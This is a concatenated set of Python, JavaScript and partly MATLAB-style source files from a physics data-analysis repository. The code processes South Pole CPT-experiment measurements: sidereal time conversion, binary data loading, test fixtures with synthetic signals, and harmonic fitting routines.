sAmp1=ds.sequenceAmp(sigWindow=spf.Window(2.5,-5.5))\n sAmp2=ds.sequenceAmp(sigWindow=spf.Window(2.5,-3))\n pAmp1=ds.pointAmp(sigWindow=spf.Window(2.5,-5.5))\n pAmp2=ds.pointAmp(sigWindow=spf.Window(2.5,-3))\n\n #sAmp1=ds.sequenceAmp(sigWindow=spf.Window(3.25,-6.5))\n #sAmp2=ds.sequenceAmp(sigWindow=spf.Window(3.25,-3.25))\n #pAmp1=ds.pointAmp(sigWindow=spf.Window(3.25,-6.5))\n #pAmp2=ds.pointAmp(sigWindow=spf.Window(3.25,-3.25))\n\n sig1=sAmp1.sig.ravel()\n sig2=sAmp2.sig.ravel()\n err1=sAmp1.err.ravel()\n err2=sAmp2.err.ravel()\n t=sAmp1.t.ravel()\n figure()\n fit, (ax1,ax2)=subplots(2,1, sharex=True)\n ax1.plot(pAmp1.t.ravel(), pAmp1.sig.ravel())\n ax1.plot(pAmp2.t.ravel(), pAmp2.sig.ravel())\n ax2.errorbar(t, sig1, err1, fmt='.')\n ax2.errorbar(t, sig2, err2, fmt='.')\n\n"},{"alpha_fraction":0.5400130152702332,"alphanum_fraction":0.6636304259300232,"avg_line_length":29.13725471496582,"blob_id":"4bfbde20b74e437619ac849a92ff93de94e03488","content_id":"22bfe0bcc7a04e244f41b2e946443304a3fb1d1a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1537,"license_type":"no_license","max_line_length":156,"num_lines":51,"path":"/sdtime.py","repo_name":"morgatron/spcpt-analysis","src_encoding":"UTF-8","text":"from __future__ import division\nfrom math import floor\nimport time\n#y2000=time.struct_time([2000,1,0,0,0,0,0,0,0]);\ny2000secs= 946684800# time.mktime(y2000);\nsecsPerSidDay= 86164.0905#( 23.9344696*3600);\nFF=0.277715#0.7222841#*0.2776;\n\ndef secs2sd(t):\n return (t-y2000secs)/secsPerSidDay + FF #Fudge factor for some reason\ndef sd2secs(sd):\n return (sd-FF)*secsPerSidDay+y2000secs\ndef sd2gm(sd):\n return time.gmtime(sd2secs(sd))\ndef sd2local(sd):\n return time.localtime(sd2secs(sd))\ndef sdNow():\n return secs2sd(time.time());\ndef loc2sd(ltime_str, fmt=None):\n #raise NotImplementedError\n if fmt:\n ltime=time.strptime(ltime_str, fmt)\n elif fmt is None:\n fmt='%m %d %Y'\n try:\n ltime=time.strptime(ltime_str, fmt)\n except ValueError:\n fmt='%c'\n ltime=time.strptime(ltime_str,fmt)\n return secs2sd(time.mktime(ltime))\n \n\n\ndef solarDaysSinceY2000(unixTime=None):\n if unixTime==None:\n unixTime=time.time();\n return (unixTime + 3029572800.)/86400.\n\ndef siderealTimeKornack(unixTime=None):\n return (280.46061837 + 360.98564736629 * solarDaysSinceY2000(unixTime))/360.;\n\ndef siderealTimeMeesus(T=None):\n if T==None:\n T=time.gmtime()\n return 367*T.tm_year-floor(7*(T.tm_year+floor((T.tm_mon+9)/12))/4)+floor(275*T.tm_mon/9) +T.tm_mday+(T.tm_hour+T.tm_min/60+T.tm_sec/3600)/24-730531.5 \n\ndef siderealTimeMe(T=None):\n if T==None:\n T=time.time();\n T-=946684800\n return T/secsPerSidDay#/secsPerSidDay#30*366.242199\n"},{"alpha_fraction":0.6071916222572327,"alphanum_fraction":0.6490669250488281,"avg_line_length":33.82539749145508,"blob_id":"3e06f1904bee62ef8cf19fabf18f6cca6d05f82c","content_id":"801eed8662d37ad02b02e3d867b2d5ee63f263ed","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2197,"license_type":"no_license","max_line_length":116,"num_lines":63,"path":"/openCPT.py","repo_name":"morgatron/spcpt-analysis","src_encoding":"UTF-8","text":"import numpy as np\nfrom os import path\nimport os\nimport re\n\nbase_dir=os.environ['SP_DATA_DIR']\nddir= \"/media/morgan/6a0066c2-6c13-49f4-9322-0b818dda2fe8/Princeton Data/South Pole/SP_aparatus 5240.33 Bundle/\"\nfilepath=ddir+\"SP_aparatus 5240.33 Medium 2.bin\"\n\n\ntemplate_regex='SP_aparatus (\\d+(?:\\.\\d*)?|\\.\\d+) {0}( \\d+)?\\.bin'\n\ndef loadApparatusFiles(root_path, useMetaFile=True):\n dirname=path.dirname(root_path) \n rootname=path.basename(root_path) \n r=re.compile('{0}( \\d+)?\\.bin'.format(rootname))\n dlist=os.listdir(dirname);\n dlist=[st for st in dlist if r.match(st)]\n dlist.sort( key=lambda st: int(r.match(st).groups()[0]) ) # dlist is now sorted\n \n dat_list=[openFile(path.join(dirname, fname), useMetaFile=useMetaFile) for fname in dlist]\n # Combine these into a single file...\n\n dat=np.hstack(dat_list)\n #datnames=dat_list[0].keys()\n return dat\n\ndef openFile(filepath, nVars=1, useMetaFile=False, endian='>'):\n timeDataType=[('sd', endian+'f8')]\n if useMetaFile:\n fname_components=path.splitext(filepath)[0].split(' ')\n if fname_components[-1].isdigit():\n fname_components.pop()\n meta_file_path=' '.join(fname_components) + '.meta'\n if path.exists(meta_file_path):\n mfile=open(meta_file_path)\n elif path.exists(meta_file_path+'.txt'):\n mfile=open(meta_file_path+'.txt')\n else:\n raise IOError\n sigNames=mfile.readlines()\n sigNames=[name.strip() for name in sigNames]\n if sigNames[0]=='Sidereal Days':\n sigNames=sigNames[1:]\n nVars=len(sigNames)\n sigDataType=[(name, endian+'f4') for name in sigNames]\n\n else:\n sigDataType=[('s{0}'.format(n), endian+'f4') for n in range(1,nVars+1)]\n\n\n\n totalDataType=timeDataType+sigDataType\n print(\"total dtype: {0}\".format(totalDataType))\n dat=np.fromfile(filepath, totalDataType)\n\n return dat;\n\nif __name__==\"__main__\":\n\n ddir= \"/media/morgan/6a0066c2-6c13-49f4-9322-0b818dda2fe8/Princeton Data/South Pole/SP_aparatus 5240.33 Bundle/\"\n filepath=ddir+\"SP_aparatus 5240.33 Medium 2.bin\"\n dat=loadApparatusFiles(ddir+'SP_aparatus 5240.33 Medium')\n\n\n\n"},{"alpha_fraction":0.629983127117157,"alphanum_fraction":0.6479505896568298,"avg_line_length":28.180328369140625,"blob_id":"9af728840b28d6594ace2ce9b0d6869513241283","content_id":"af0734c187644f62c10471532789e2bf6df7e1a9","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1781,"license_type":"no_license","max_line_length":94,"num_lines":61,"path":"/getSPdata.py","repo_name":"morgatron/spcpt-analysis","src_encoding":"UTF-8","text":"from os import path\nfrom os import environ\n\ndef getSPData(timestamp, rotations, interval, delay):\n\n base_data_dir=environ['SP_DATA_DIR'];\n\n ddir=path.join(base_data_dir, 'SP_aparatus {0} Bundle'.format(timestamp))\n\n [sdF,sigF,sdM,sigM,sdRe,sigRe,sdS,sigS,medNames,reNames,sloNames]=loadCPTFiles(timestamp);\n\n% Get triggers either by making them if parameters are given or loading\n% them from the triggers file if available\nif nargin>1\n trig=makeTrigM(sdF,rotations,interval,delay);\n if trig(end)>sdF(end)\n trig=trig(1:end-rotations);\n end\nelse\n trig=[];\n rotations=find(diff(trig)>(trig(2)-trig(1))*1.1,1);\nend\nmtrig=[];\nsdP=[]; pos=[]; stat=[];\nsensor=[]; sensorNames=[];\nif isdir( fullfile(data_dir, ['SP_motor ',timestamp,' Bundle']) )\n cd( fullfile(data_dir, ['SP_motor ',timestamp,' Bundle']) );\n trigfiles=dir('*triggers*.txt');\n posfiles=dir('*positions*.bin');\n sensfiles=dir('*sensors*.bin');\n for i=1:length(trigfiles)\n mtrig=[mtrig;load(trigfiles(i).name)];\n end\n for i=1:length(posfiles)\n fid=fopen(posfiles(i).name);\n sdP=[sdP;fread(fid,'float64',8)];\n fseek(fid,0,'bof');\n data=fread(fid,'int32=>int32');\n data2=reshape(data,4,length(data)/4)';\n pos=[pos;data2(:,3)];\n stat=[stat;data2(:,4)];\n fclose(fid);\n end\n for i=1:length(sensfiles)\n end\nend\nif isempty(trig)\n trig=mtrig;\nend\nif rem(length(trig),rotations)\n disp(['There are ',num2str(rem(length(trig),rotations)),' extra triggers!'])\nend\n\n% Check North positions using Apparatus Position in Relaxed data \nif ~isempty(sdRe) & (mean(sigRe(:,19))>1)\n checkNorth(sdRe,sigRe,trig(1:find(trig<max(sdRe),1,'last')));\nend\n \nzerodata=GetZeroDataSP(timestamp);\ncd(start_dir)\nend\n\n"},{"alpha_fraction":0.4693877696990967,"alphanum_fraction":0.7329931855201721,"avg_line_length":57.900001525878906,"blob_id":"51f1b71b5cf69f8d8b59125c15c81cd7fc3f02d6","content_id":"1b898959daf917947b6bea8cc246dd19cb7530b5","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"JavaScript","length_bytes":588,"license_type":"no_license","max_line_length":89,"num_lines":10,"path":"/html/openCPT_8py.js","repo_name":"morgatron/spcpt-analysis","src_encoding":"UTF-8","text":"var openCPT_8py =\n[\n [ \"loadApparatusFiles\", \"openCPT_8py.html#a8d2cf2d1cdb625fa3ea7d0ec4e7af575\", null ],\n [ \"openFile\", \"openCPT_8py.html#a123c419a688aefb0d6d482eca7512d36\", null ],\n [ \"base_dir\", \"openCPT_8py.html#a6195f6525b22b29221384f9235fe1062\", null ],\n [ \"dat\", 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['getspdata_2epy',['getSPdata.py',['../getSPdata_8py.html',1,'']]]\n];\n"},{"alpha_fraction":0.624365508556366,"alphanum_fraction":0.7639594078063965,"avg_line_length":77.80000305175781,"blob_id":"825fd55a97b6f1bf8b010bd07bffb7a12a670511","content_id":"c1eda7e2483d8f554be94178890674617ca6bc49","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"JavaScript","length_bytes":394,"license_type":"no_license","max_line_length":186,"num_lines":5,"path":"/html/search/variables_8.js","repo_name":"morgatron/spcpt-analysis","src_encoding":"UTF-8","text":"var searchData=\n[\n ['pointdata',['PointData',['../namespacerepo_1_1programs_1_1pythonpackages_1_1pr_1_1SPfuncs.html#a1ffb0a48d6d36a1260a65e82c4604ce2',1,'repo::programs::pythonpackages::pr::SPfuncs']]],\n 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fake_data_stop_start_2dirs():\n rSpec= spf.RotationSpec(startingAngle=0, delay=9, interval=30, numRotations=20, rotAngles=[180], extraRotAngle=0)\n return sd.testDS(rSpec)\n\n@pytest.fixture\ndef fake_data_continuous():\n ds=sd.SPDataSet('5410.04')\n rAmp=ds.rawData()\n rAmpAdded=spf.addFakeData(rAmp, rotationRate=ds.set_info['rotationRate'], amp=20, bBlankOriginalData=True, phi=pi/5)\n ds.fastD=rAmpAdded\n return ds\n #ds=sd.SPDataSet('test_test', preloadDict={'fastD': [s, sig, 'sig']})\n #need to put something ehre\n\ndef test_continuous_fitting(fake_data_continuous):\n contData=fake_data_continuous\n print(contData.sidAmp(subtractHarmsL=[]))\n\ndef test_cutAmp(fake_data_stop_start_4dirs):\n madeData=fake_data_stop_start_4dirs\n cA=madeData.cutAmp()\n print(cA.sig.shape)\n\n\n"},{"alpha_fraction":0.5731147527694702,"alphanum_fraction":0.580983579158783,"avg_line_length":33.65909194946289,"blob_id":"ba6505ca2773d9d46429e302ae8b64dfc4256828","content_id":"09e6003bff18d2a11d4da7ff04a3e1320a29ae28","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1525,"license_type":"no_license","max_line_length":90,"num_lines":44,"path":"/convert.py","repo_name":"morgatron/spcpt-analysis","src_encoding":"UTF-8","text":"import os\nimport re\n\ndef allDirsSpmeta2Npmeta(base_dir=os.getenv('SP_DATA_DIR')):\n ap_dir_regex=re.compile('.*SP_aparatus (\\d+(?:\\.\\d*)?|\\.\\d+) Bundle.*')\n mo_dir_regex=re.compile('.*SP_motor (\\d+(?:\\.\\d*)?|\\.\\d+) Bundle.*')\n\n it=os.walk(base_dir)\n for D in it:\n files=D[2]\n metaFiles=[fn for fn in files if fn.endswith(\".meta\") or fn.endswith('.meta.txt')]\n for metaFile in metaFiles:\n fpath=os.path.join(D[0], metaFile)\n if ap_dir_regex.match(D[0]):\n spmeta2npmeta(fpath, 'apparatus')\n #if mo_dir_regex.match(D[0]):\n # spmeta2npmeta(fpath, 'motor')\n\ndef spmeta2npmeta(filePath, style=None):\n \"\"\"Style can be 'apparatus' or 'motor'\n \"\"\"\n if style is None:\n motorI=filePath.rfind('motor')\n apparatusI=filePath.rfind('aparatus')\n if motorI==apparatusI:\n raise ValueError(\"Don't know what kind of meta file {0} is.\".format(filePath))\n else:\n style = 'motor' if motorI>apparatusI else 'apparatus'\n\n lines=open(filePath).readlines()\n if style=='apparatus':\n endian='>'\n elif style=='motor':\n endian='<'\n else:\n raise NotImplementedError(\"Don't know what style '{}' is\".format(style))\n output= ['{}, {}f8\\r\\n'.format(lines.pop(0).strip(), endian)]\n output+= ['{}, {}f4\\r\\n'.format(line.strip(), endian) for line in lines]\n\n\n ind=filePath.rfind('.meta')\n outPath=filePath[:ind] + '.npmeta'\n\n open(outPath, 'w').writelines(output)\n"},{"alpha_fraction":0.6127451062202454,"alphanum_fraction":0.7549019455909729,"avg_line_length":50,"blob_id":"884200c01d36210df21025799d895e20276d733a","content_id":"920fcb010a1577aa39d7940cadb9f12d59b1c98d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"JavaScript","length_bytes":204,"license_type":"no_license","max_line_length":182,"num_lines":4,"path":"/html/search/functions_b.js","repo_name":"morgatron/spcpt-analysis","src_encoding":"UTF-8","text":"var searchData=\n[\n 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searchData=\n[\n ['spdataset',['SPDataSet',['../classrepo_1_1programs_1_1pythonpackages_1_1pr_1_1SPDataSet_1_1SPDataSet.html',1,'repo::programs::pythonpackages::pr::SPDataSet']]]\n];\n"},{"alpha_fraction":0.5641109347343445,"alphanum_fraction":0.5933417081832886,"avg_line_length":42.806251525878906,"blob_id":"2911de96051c1d4ece7444823ce51581f464aa30","content_id":"47619dd3076aa7867532a4748223e9659cb3f7fa","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":64521,"license_type":"no_license","max_line_length":262,"num_lines":1440,"path":"/SPfuncs.py","repo_name":"morgatron/spcpt-analysis","src_encoding":"UTF-8","text":"\"\"\"Useful functions for processing the SP data. Hopefully some are generic enough to be used elsewhere too.\r\n\r\n\"\"\"\r\nfrom __future__ import division\r\nfrom pylab import *\r\nimport matplotlib\r\nfrom matplotlib.gridspec import GridSpec, GridSpecFromSubplotSpec\r\nimport numpy as np\r\nfrom scipy import stats\r\nfrom copy import deepcopy\r\nimport pdb\r\nfrom collections import namedtuple\r\nfrom scipy.optimize import curve_fit\r\nfrom scipy.ndimage import convolve1d\r\nimport os\r\nfrom itertools import count\r\nimport re\r\nimport MT, MF\r\nfrom MT import nonnan, cached_property, nancurve_fit, figDontReplace, running_median_insort, vprint\r\nfrom scipy import random\r\nfrom scipy.signal import windows\r\nfrom statsmodels import api as sm\r\n#from SPDataSet import SPDataSet\r\n\r\nbTest=False\r\n\r\ndef secs2sd(secs):\r\n return secs/23.9344696/3600;\r\ndef sd2secs(sd):\r\n return sd*23.9344696*3600;\r\n\r\nWindow =namedtuple('Window', ['duration', 'offset'])\r\nRotationSpec=namedtuple('RotationSpec', ['startingAngle', 'delay', 'interval', 'rotAngles', 'extraRotAngle', 'numRotations']);\r\nRawData=namedtuple('RawData', ['t', 'sig'])\r\nPointData=namedtuple('PointData', ['t', 'sig', 'err', 'chi2', 'theta' ])\r\nCorrelationData=namedtuple('CorrelationData', ['t', 'sig', 'err', 'chi2', 'theta'])\r\nSiderealFitData=namedtuple('SiderealFitData', ['t', 'sig', 'err', 'chi2', 'sidTheta','labTheta', 'meta'])\r\nLabSetData=namedtuple('LabSetData', ['t', 'sig', 'err', 'chi2', 'labTheta'])\r\n\r\n\r\n\r\ndef getRotationsFromRSpec(rSpec, numReps=1):\r\n if not iterable(rSpec.rotAngles):\r\n rotAngles=[rSpec.rotAngles]\r\n else:\r\n rotAngles=rSpec.rotAngles\r\n rotationSequence=array( [rSpec.extraRotAngle]+ [rotAngles[k] for k in arange(rSpec.numRotations-1, dtype='i4')%len(rotAngles)])\r\n allRotations=tile(rotationSequence, numReps)\r\n return allRotations\r\ndef getAnglesFromRSpec(rSpec, numReps=1):\r\n \"\"\" Return angles for the sequence defined by @rSpec, repeated @numReps times.\r\n Angles are that /before/ each rotation, including before the extraRotation\r\n\r\n \"\"\"\r\n #Logic here is a little screwy. We start with extraRotAngle then subtract it from everything\r\n # Also remember, following the logic on spin-doctor we only do the main rotation N-1 times, the last one being the 'extraRotation'\r\n \r\n allRotations=getRotationsFromRSpec(rSpec, numReps)\r\n allAngles= rSpec.startingAngle-rSpec.extraRotAngle + cumsum(allRotations)\r\n allAngles=allAngles.reshape((numReps, rSpec.numRotations))\r\n #allAngles=allAngles[:,:-1]\r\n #allAngles=tile(angles, (numReps,1) )+arange(numReps)[:,newaxis]*rSpec.extraRotAngle\r\n return allAngles\r\n\r\ndef makeTriggers(sd,rSpec, seqStartTimes=None, bIncludeExtraRot=True, gapBetween=False):\r\n \"\"\" Construct a set of triggers by analysing the timing for the\r\n signal.\r\n \"\"\"\r\n sdDiff=np.diff(sd); \r\n meanDt=np.mean(sdDiff) # Mean difference between 1 point and the next (should be 0.02s ish)\r\n meanDt=np.median(sdDiff) # (Maybe using the median will be more robust?)\r\n \r\n if gapBetween:\r\n vprint(\"You probably shouldn't be using the gapBetween argument to makeTriggers\")\r\n gapBetween=secs2sd(gapBetween)\r\n dataTime=secs2sd(rSpec.numRotations*rSpec.interval+rSpec.delay)\r\n seqStartTimes=arange(sd[0],sd[-1]-dataTime, (dataTime +gapBetween) )\r\n\r\n if seqStartTimes is None:\r\n mask=np.hstack([[True], sdDiff>8*meanDt]) #Make a mask array for where the difference is much greater than the average\r\n #The above should perhaps not start with at true, but a false? I imagine we start recording data BEFORE we send the first trigger, not the other-way around?\r\n\r\n seqStartTimes=sd[mask]; #We'll assume those points are where each sequence of rotations starts\r\n if len(seqStartTimes)==1:\r\n vprint(\"Maybe there's no gaps in the sequence? makeTriggers is only returning one set of triggers\")\r\n \r\n Ntrigs = rSpec.numRotations-1\r\n if bIncludeExtraRot:\r\n Ntrigs+=1\r\n group=secs2sd(np.arange(Ntrigs)*rSpec.interval+rSpec.delay); #A group is a group of triggers for 1 sequence\r\n\r\n trigTimes=[group+seqStartTimes[0]]; #Trig will be the list of all triggers which we slowly build up.\r\n for i in range(1, seqStartTimes.size): #(this could be easily vectorized, as the size of trigTimes is known in advance)\r\n if trigTimes[-1][-1]<seqStartTimes[i]:\r\n trigTimes.append(group+seqStartTimes[i])\r\n\r\n #angles=getAnglesFromRSpec(rSpec, seqStartTimes.size)#, bIncludeExtraRot=bIncludeExtraRot)\r\n return np.array(trigTimes)#, np.array(angles)\r\n\r\ndef sliceSorted(t, t_0, t_end=None, delta_t=None):\r\n \"\"\" Cut up the times @t into sections that start at t_0 and and at t_end OR t_0 + delta_t if they're all the same.\r\n\r\n Returns a list of index arrays with length t_0.size\r\n \"\"\"\r\n startIs=t.searchsorted(t_0.ravel()); #ravel here because x0 can be multi-d\r\n if t_end is not None:\r\n endIs = t.searchsorted(t_end.ravel())\r\n if delta_t is not None:\r\n raise Exception(\"should have t_end OR delta_t, not both!\")\r\n elif delta_t:\r\n endIs = t.searchsorted(t_0.ravel()+delta_t)\r\n\r\n startIs=startIs[endIs<t.size] #Throw out cuts where the end index is out of range\r\n endIs=endIs[:startIs.size]\r\n\r\n if t_0.ndim>1:\r\n #If we lose some part so we have an incomplete sequence, we'll dump them.\r\n Norphans=startIs.size%t_0.shape[-1] #this is only general for 2d- need rethinking for more dimensions\r\n if Norphans>0:\r\n startIs=startIs[:-Norphans]\r\n endIs=endIs[:-Norphans]\r\n\r\n newShape=[int(startIs.size/t_0.shape[-1]), t_0.shape[-1]]\r\n else: \r\n newShape=[endIs.size]\r\n\r\n indxL=empty(newShape, dtype='O')\r\n indxL.ravel()[:]=[np.r_[sI:eI] for sI,eI in zip(startIs, endIs)]\r\n\r\n return indxL\r\n\r\ndef sliceReduceData(x, y, x0, delta_x=None,endTimes=None, functionL=[np.size, np.mean, lambda vals, **kwargs: np.std(vals, **kwargs)/sqrt(np.size(vals))], bJustGiveCuts=False ):\r\n \"\"\"Cut the given x data at points starting from x0, and going to x0+delta_x, and perform the functions in functionL on each cut section. \r\n\r\n Returns meanXs. finalL, indxL\r\n \"\"\"\r\n \r\n if endTimes is None:\r\n endTimes = x0 + delta_x\r\n indxL=sliceSorted(x, x0, t_end=endTimes);\r\n\r\n if y.ndim==1:\r\n y=y[newaxis,:]\r\n tPtsL=[x[inds] for inds in indxL.flat]\r\n\r\n finalL=[]\r\n for yax in y:\r\n\r\n yPtsL=[yax[inds] for inds in indxL.flat]\r\n resL=[]\r\n for f in functionL: #Apply each function in the list to the cuts\r\n vals=[f(ys, axis=0) for ys in yPtsL]\r\n vals=array(vals).reshape(indxL.shape)\r\n resL.append(vals)\r\n processedL=np.array(resL)\r\n finalL.append(processedL)\r\n \r\n meanXs= (x0+endTimes)/2.# delta_x/2. # The mean time for each cut\r\n meanXs=meanXs.ravel()[:indxL.size].reshape(indxL.shape)\r\n\r\n if len(finalL)==1:\r\n finalL=finalL[0]\r\n return meanXs, finalL, indxL \r\n\r\ndef stringSimple3pt(x, err=None):\r\n coeffs=array([0.25, -0.5, 0.25])\r\n coeffs/=abs(coeffs).sum()\r\n cnv=convolve1d(x, coeffs, axis=0, mode='constant')[1:-1]\r\n if len(cnv.shape)>1:\r\n res=cnv.mean(axis=1) # Or median?\r\n if err is not None:\r\n raise ValueError(\"if x is 2d, this function will calculate errors so errors shouldn't be included\")\r\n err3pt = std(cnv, axis=1)/sqrt(x.shape[0])\r\n else: \r\n res=cnv\r\n err3pt= sqrt(convolve(err**2, coeffs**2,mode='valid'))\r\n st3pt=res* (arange(res.size)%2-0.5)*-2 #Multiply by [1,-1,1,-1]....\r\n\r\n\r\n return st3pt, err3pt\r\n\r\ndef stringSimple5pt(x, err=None, rotDir=1.):\r\n \"\"\"Calculate 5pt strings and errors\r\n \"\"\"\r\n #coeffs=array([0.25, -0.5, 0.25]) #Copy coefficients from matlab code\r\n coeffs=array([\r\n [ 0.25 , 0., -0.5, 0. , 0.25],\r\n [-0.25 , 0.5 , 0. , -0.5 , 0.25],\r\n [ 0.125 , -0.25 , 0.25 , -0.25 , 0.125 ]])\r\n #coeffs=array([[1.,0.,-2.,0.,1.], #1h0\r\n # [-1,2.,0.,-2.,1.], #1h90\r\n # [1,-2, 2, -2, 1]], #2h0\r\n # )\r\n #coeffs.T[:]/=abs(coeffs).sum(axis=1)\r\n N=len(x)-4\r\n resA=zeros([N, 4])\r\n errA=zeros([N, 4])\r\n for cf, r, e in zip(coeffs, resA.T, errA.T):\r\n cnv=convolve1d(x, cf, axis=0, mode='constant')[2:-2]\r\n #cnv=convolve1d(x, coeffs, axis=0, mode='constant')[2:-2]\r\n if len(cnv.shape)>1: #If x is 2d, we'll assume that each column represents repeated measurements of the same value\r\n thisRes=cnv.mean(axis=1) # (Maybe median would be better here?)\r\n if err is not None:\r\n raise ValueError(\"if x is 2d, this function will calculate errors so errors shouldn't be included\")\r\n thisErr = std(cnv, axis=1)/sqrt(x.shape[0])\r\n else: \r\n res=cnv\r\n thisErr= sqrt(convolve(err**2, cf**2,mode='valid')[2:-2])\r\n r[:]=thisRes\r\n e[:]=thisErr\r\n resA[:,-1]*=nan\r\n res1h=(resA[:,0] + 1j*resA[:,1])*exp(-1j*pi/2*arange(N))#%2-0.5)*-2\r\n err1h=(errA[:,0] + 1j*errA[:,1])*exp(+1j*pi/2*arange(N)) #(arange(N)%2-0.5)*-2\r\n errA[:,0],errA[:,1]=abs(err1h.real), abs(err1h.imag)\r\n\r\n resA[:,0]=res1h.real\r\n resA[:,1]=res1h.imag\r\n resA[:,2]=resA[:,2]*(arange(N)%2-0.5)*-2\r\n\r\n #st0=res[::2]\r\n #st90=res[1::2]\r\n #err0=err[::2]\r\n #err90=err[1::2]\r\n #st0=st0* (arange(st0.size)%2-0.5)*-2 #Multiply by [1,-1,1,-1]....\r\n #st90=st90* (arange(st90.size)%2-0.5)*-2 #Multiply by [1,-1,1,-1]....\r\n\r\n\r\n return resA.reshape([N,2,2]), errA.reshape([N,2,2])\r\n\r\ndef getHarmonicsFit( theta_in, x_in, errs_in=None, harmonics=[1], pars0=[1.,1.]):\r\n \"\"\"Calculate the harmonics present in the data x corresponding to phases theta.\r\n\r\n Here we'll fit to sin waves.\r\n Inputs theta_in, x_in, and errs_in may be 2d\r\n\r\n Returns:\r\n thL, ampL, covL (thetas, fitted a#mplitude, covariance- except currently only the diagonal components, i.e. variance)\r\n \"\"\"\r\n bOnlyOneHarmonic=False\r\n if not hasattr(harmonics, '__len__'): #If we haven't been given a list of harmonics, we'll assume it's a number\r\n bOnlyOneHarmonic=True\r\n\r\n theta_in=theta_in.ravel()\r\n x_in=x_in.ravel()\r\n #errs_in=errs_in[\r\n errs_in=errs_in.ravel()\r\n #if errs_in==None:\r\n #errs_in=ones(x.shape, dtype=x.dtype)\r\n #d_theta=theta[1]-theta[0]\r\n #theta=arange(0, d_theta*N, d_theta)\r\n N=theta_in.size\r\n thL=[]\r\n ampL=[]\r\n covL=[]\r\n chi2L=[]\r\n delt=0.1\r\n THx=theta_in[0]\r\n THy=THx+pi/2. #This is the sin phase, so it's before cos \r\n theta = theta_in-THx\r\n p_mn0=nanmean(x_in)\r\n #x=x_in-nanmean(x_in)\r\n x=x_in\r\n\r\n bSinQuad=True;\r\n bCosQuad=True;\r\n\r\n bTest=False\r\n if bTest:\r\n fig, [ax, ax2]=subplots(2,1)\r\n #ax=gca()\r\n ax.plot(theta_in, x)\r\n #ax.plot(theta_in, x_in, 'ro')\r\n ax.plot(theta_in, x, 'bo')\r\n for n in harmonics:\r\n if sum(abs(sin(theta[~isnan(x)])))/N <0.1: # Means there's not much data for the sin quadrature\r\n bSinQuad=False;\r\n if bSinQuad and bCosQuad:\r\n #[Ax, Ay, B], cov=nancurve_fit(lambda theta, ax,ay,b: ax*cos(n*theta)+ ay*sin(n*theta) + b, theta, x,p0=[0.5e-1,0.5e-1,1.],sigma=errs_in)# [0][0] #sin(n*theta)*x;\r\n f=lambda theta, ax,ay, mn: ax*sin(n*theta)+ ay*cos(n*theta) + mn\r\n [Ax, Ay, Xmn], cov=nancurve_fit(f, theta, x,p0=pars0+[p_mn0],sigma=errs_in**2, )#, absolute_sigma=True)# [0][0] #sin(n*theta)*x;\r\n if bTest:\r\n ax2.plot(theta_in, f(theta, Ax, Ay, Xmn))\r\n chi2= nansum((f(theta, Ax, Ay, Xmn)-x)**2*1./errs_in**2)/(sum(~isnan(x).ravel())-2)\r\n elif bCosQuad:\r\n #[Ax, B],cov=nancurve_fit(lambda theta, ax,b: ax*cos(n*theta) + b, theta, x,p0=[0.5e-1,1.],sigma=errs_in)\r\n f=lambda theta, ay, mn: ay*cos(n*theta) + mn\r\n [Ay, Xmn],cov=nancurve_fit(f, theta, x,p0=[pars0[0], p_mn0],sigma=errs_in)#, absolute_sigma=True)\r\n if bTest:\r\n ax2.plot(theta_in, f(theta, Ay, Xmn))\r\n Ax=nan\r\n THx=nan\r\n cov=array([[nan, nan], [nan, cov[0,0]]]) # Let's pretend we've got realy covariance\r\n chi2= nansum((f(theta, Ay, Xmn)-x)**2*1./errs_in**2)/(sum(~isnan(x).ravel())-1)\r\n elif bSinQuad: \r\n f=lambda theta, ax, mn: ax*sin(n*theta) + mn\r\n [Ax, Xmn],cov=nancurve_fit(f , theta, x,p0=[pars0[1], p_mn0],sigma=errs_in)#, absolute_sigma=True)\r\n if bTest:\r\n ax2.plot(theta_in, f(theta, Ax, Xmn))\r\n Ay=nan\r\n cov=array([[cov[0,0], nan], [nan, nan]]) # Cheating\r\n chi2= nansum((f(theta, Ax, Xmn)-x)**2*1./errs_in**2)/(sum(~isnan(x).ravel())-1)\r\n else:\r\n raise Exception('Error in getHarmonicsFit: input angles are probably unexpected?')\r\n \r\n if bTest:\r\n show()\r\n raw_input('Continue?')\r\n\r\n if bOnlyOneHarmonic:\r\n covL=cov\r\n ampL=(Ax,Ay)\r\n thL=(THx, THy)\r\n else:\r\n covL.append(cov)\r\n ampL.append((Ax,Ay))\r\n thL.append((THx, THy))\r\n chi2L.append(chi2)\r\n #covL.append(sqrt(diag(cov)))\r\n #covL.append((sqrt(cov_x[0][0]), sqrt(cov_y[0][0])))\r\n return thL, ampL, covL, chi2L\r\n\r\ndef mgStringHarmonics(theta, x, err=None, harmonics=[1], chi2Filter=inf):\r\n \"\"\" Input measurements x taken at angles theta0+ n* dtheta (assumed to be evenly spaced) and return harmonic components\r\n\r\n Returns: phi, amp, err, chi2\r\n where they each have the shape\r\n [ (val1, val2), (val1, val2)... ], where each tuple corresponds to a different harmonic and the individual components correspond to the different quadratures.\r\n incalculable values are replaced with \"nan\"\r\n\r\n That is, return the coefficients A1, A2 that fit the data for A1*sin(n*theta) + A2*cos(n*theta) for harmonic n, as well as standard deviations and chi^2\r\n \"\"\"\r\n # We'll assume that theta is evenly spaced for the moment\r\n assert(theta.shape[0]==x.shape[0])\r\n theta0=theta[0]\r\n dtheta=theta[1]-theta[0]\r\n if any(abs(diff(diff(theta)))>0.1): # Is the _change_ in step-size changing? (Why do we care??)\r\n if any(abs(abs(diff(theta))-pi) >0.1): #Maybe we're going back and forth by 180, in which case we can still operate\r\n raise ValueError(\"Theta values are apparently not evenly spaced. stringHarmonics can't handle this (yet)\")\r\n if (2*pi-0.05)%abs(dtheta) < 0.1:\r\n raise ValueError(\"string harmonics only implemented for dtheta that fits evenly into 2*pi\")\r\n\r\n #drnL=\r\n for H in harmonics:#range(4)+1: #count():\r\n rem=(pi+0.1)%(H*abs(dtheta))\r\n if abs(rem)<0.2: # Check that the angles are suitable, i.e. they're all at near 0, pi\r\n\r\n div=(pi)/(H*dtheta) 